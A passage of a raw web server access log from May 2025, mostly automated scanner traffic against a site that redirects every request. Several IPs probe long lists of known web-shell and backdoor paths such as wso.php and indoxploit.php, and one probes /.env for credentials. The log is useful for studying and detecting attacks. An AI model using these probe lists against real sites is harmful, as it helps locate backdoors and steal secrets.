-0400] "GET /indoxploit.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:50:21 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:50:22 -0400] "GET /wp-content/plugins/css-ready-sel/file.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:50:24 -0400] "GET /wp-content/plugins/css-ready/file.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:50:28 -0400] "GET /wp-content/think.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:50:30 -0400] "GET /wp-content/plugins/upspy/con.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:50:31 -0400] "GET /wp-content/plugins/upspy/up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:50:33 -0400] "GET /wp-content/plugins/upspy/sllolx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:50:35 -0400] "GET /database.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:50:37 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:50:39 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:50:41 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:50:43 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:50:45 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:50:49 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 162.0.232.217 - - [01/May/2025:00:55:31 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [01/May/2025:00:55:32 -0400] "GET /.well-known/pki-validation//parx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [01/May/2025:00:55:33 -0400] "GET /.well-known/pki-validation/43e0da16-f4f8-4f0a-91d6-f41bf52aec3f.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [01/May/2025:00:55:34 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [01/May/2025:00:55:34 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [01/May/2025:00:55:35 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [01/May/2025:00:55:36 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [01/May/2025:00:55:36 -0400] "GET /.well-known/pki-validation/cux.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [01/May/2025:00:55:37 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [01/May/2025:00:55:38 -0400] "GET /.well-known/pki-validation/dropdown.php%3fpass=yanz HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [01/May/2025:00:55:38 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [01/May/2025:00:55:39 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [01/May/2025:00:55:40 -0400] "GET /.well-known/pki-validation/muse.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [01/May/2025:00:55:40 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [01/May/2025:00:55:41 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [01/May/2025:00:55:42 -0400] "GET /.well-known/pki-validation/pwnd.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [01/May/2025:00:55:42 -0400] "GET /.well-known/pki-validation/wp-error_log.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [01/May/2025:00:55:43 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [01/May/2025:00:55:44 -0400] "GET /.well-known/pki-validation/xmrlpc.php%3fp= HTTP/1.1" 301 795 "-" "get_local:DCV" 182.44.12.37 - - [01/May/2025:01:03:25 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 103.253.27.36 - - [01/May/2025:01:21:56 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 37.139.53.124 - - [01/May/2025:01:36:54 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 80.85.246.74 - - [01/May/2025:01:52:03 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 196.251.71.46 - - [01/May/2025:02:24:37 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 52.18.177.61 - - [01/May/2025:02:40:47 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 54.67.126.39 - - [01/May/2025:03:05:43 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 207.46.13.231 - - [01/May/2025:03:44:29 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 157.55.39.13 - - [01/May/2025:03:44:34 -0400] "GET /blog-maintenance HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 182.43.70.143 - - [01/May/2025:04:20:45 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 92.255.85.164 - - [01/May/2025:04:37:32 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 196.251.69.58 - - [01/May/2025:04:41:04 -0400] "HEAD / HTTP/1.1" 301 0 "-" "fasthttp" 196.251.69.58 - - [01/May/2025:04:41:07 -0400] "GET / HTTP/1.1" 301 795 "-" "fasthttp" 43.205.98.73 - - [01/May/2025:05:40:00 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 43.205.98.73 - - [01/May/2025:05:40:11 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 43.205.98.73 - - [01/May/2025:05:40:15 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 43.205.98.73 - - [01/May/2025:05:40:17 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 43.205.98.73 - - [01/May/2025:05:40:21 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 43.205.98.73 - - [01/May/2025:05:40:24 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 43.205.98.73 - - [01/May/2025:05:40:25 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 43.205.98.73 - - [01/May/2025:05:40:27 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 43.205.98.73 - - [01/May/2025:05:40:29 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 43.205.98.73 - - [01/May/2025:05:40:31 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 66.249.79.169 - - [01/May/2025:05:53:50 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.168 - - [01/May/2025:05:53:51 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 156.228.90.236 - - [01/May/2025:05:56:55 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" 2602:fb54:9fa:: - - [01/May/2025:06:21:08 -0400] "GET /wp-content/themes/realestate-7/admin/ReduxFramework/theme-changelog/index.html HTTP/1.1" 301 795 "www.google.com" "Mozilla/6.4 (Windows NT 11.1) Gecko/2010102 Firefox/99.0" 47.104.195.229 - - [01/May/2025:06:27:37 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.58" 66.249.68.39 - - [01/May/2025:06:31:34 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.68.39 - - [01/May/2025:06:31:35 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.68.39 - - [01/May/2025:06:31:36 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 43.157.38.228 - - [01/May/2025:07:12:03 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 192.109.217.213 - - [01/May/2025:07:22:05 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36" 203.33.203.148 - - [01/May/2025:07:28:06 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 13.213.64.232 - - [01/May/2025:08:08:26 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 170.106.72.178 - - [01/May/2025:08:59:31 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 162.0.232.217 - - [01/May/2025:09:34:27 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 162.0.232.217 - - [01/May/2025:09:35:21 -0400] "GET /.well-known/pki-validation/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 54.244.63.85 - - [01/May/2025:09:35:33 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36" 34.135.214.238 - - [01/May/2025:09:35:59 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1467.0 Safari/537.36" 162.0.232.217 - - [01/May/2025:09:40:48 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 162.0.232.217 - - [01/May/2025:09:41:29 -0400] "GET /.well-known/pki-validation/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 162.0.232.217 - - [01/May/2025:09:41:35 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 162.0.232.217 - - [01/May/2025:09:42:36 -0400] "GET /.well-known/pki-validation/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 162.0.232.217 - - [01/May/2025:09:47:21 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 162.0.232.217 - - [01/May/2025:09:48:35 -0400] "GET /.well-known/pki-validation/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 117.33.163.216 - - [01/May/2025:10:41:24 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 196.251.67.143 - - [01/May/2025:10:46:23 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 196.251.67.143 - - [01/May/2025:10:46:23 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 196.251.67.143 - - [01/May/2025:10:46:23 -0400] "POST / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 196.251.67.143 - - [01/May/2025:10:46:23 -0400] "POST / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 47.252.21.203 - - [01/May/2025:10:49:48 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36" 170.62.100.202 - - [01/May/2025:11:42:35 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 CCleaner/130.0.0.0" 18.207.244.148 - - [01/May/2025:11:45:13 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36" 216.244.66.237 - - [01/May/2025:11:48:44 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 4.234.160.217 - - [01/May/2025:11:55:43 -0400] "GET /wp-includes/css/modules.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:55:45 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:55:48 -0400] "GET /wp-content/plugins/upspy/index.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:55:50 -0400] "GET /wp-content/plugins/ubh/index.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:55:53 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php?cache HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:55:55 -0400] "GET /wp-content/plugins/xichang/x.php?xi HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:55:57 -0400] "GET /wp-content/plugins/html404/index.html HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:56:00 -0400] "GET /wp-admin/shapes.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:56:04 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:56:07 -0400] "GET /indoxploit.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:56:10 -0400] "GET / HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:56:13 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:56:15 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:56:17 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:56:19 -0400] "GET /wp-content/uploads/2025/05/ HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:56:21 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:56:24 -0400] "GET /wp-admin/network/wp-footer.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:56:26 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:56:28 -0400] "GET /wp-content/vuln.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:56:30 -0400] "GET /upel.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:57:05 -0400] "GET /wp-content/plugins/ppus/up.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:57:40 -0400] "GET /098.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:57:54 -0400] "GET /V5.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:57:57 -0400] "GET /new_license.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:58:00 -0400] "GET /wp-content/plugins/theme-configurator/mini.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:58:03 -0400] "GET /wp-content/plugins/widget-logic/mini.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:58:09 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:58:12 -0400] "GET /modules/modules/modules.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:58:14 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/Clean.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:58:16 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:58:20 -0400] "GET /libraries/joomla/css.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:58:22 -0400] "GET /libraries/joomla/jmails.php?u HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:58:25 -0400] "GET /libraries/joomla/jmail.php?u HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:58:28 -0400] "GET /images/vuln.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:58:30 -0400] "GET /tmp/vuln.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:58:32 -0400] "GET /XxX.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:58:34 -0400] "GET /Marvins.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:58:37 -0400] "GET /rxr.php?rxr HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:58:39 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:58:42 -0400] "GET /indoxploit.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:58:44 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:58:46 -0400] "GET /RxR.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:58:48 -0400] "GET /components/com_b2jcontact/izoc.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:58:50 -0400] "GET /V3.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:58:53 -0400] "GET /V5.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:58:56 -0400] "GET / HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:58:58 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:59:00 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:59:02 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:59:04 -0400] "GET /administrator/templates/bluestork/index.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:59:08 -0400] "GET /administrator/templates/bluestork/error.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:59:10 -0400] "GET /administrator/templates/hathor/index.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:59:13 -0400] "GET /administrator/templates/hathor/error.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:59:15 -0400] "GET /administrator/templates/isis/index.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:59:17 -0400] "GET /administrator/templates/isis/error.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:11:59:20 -0400] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" 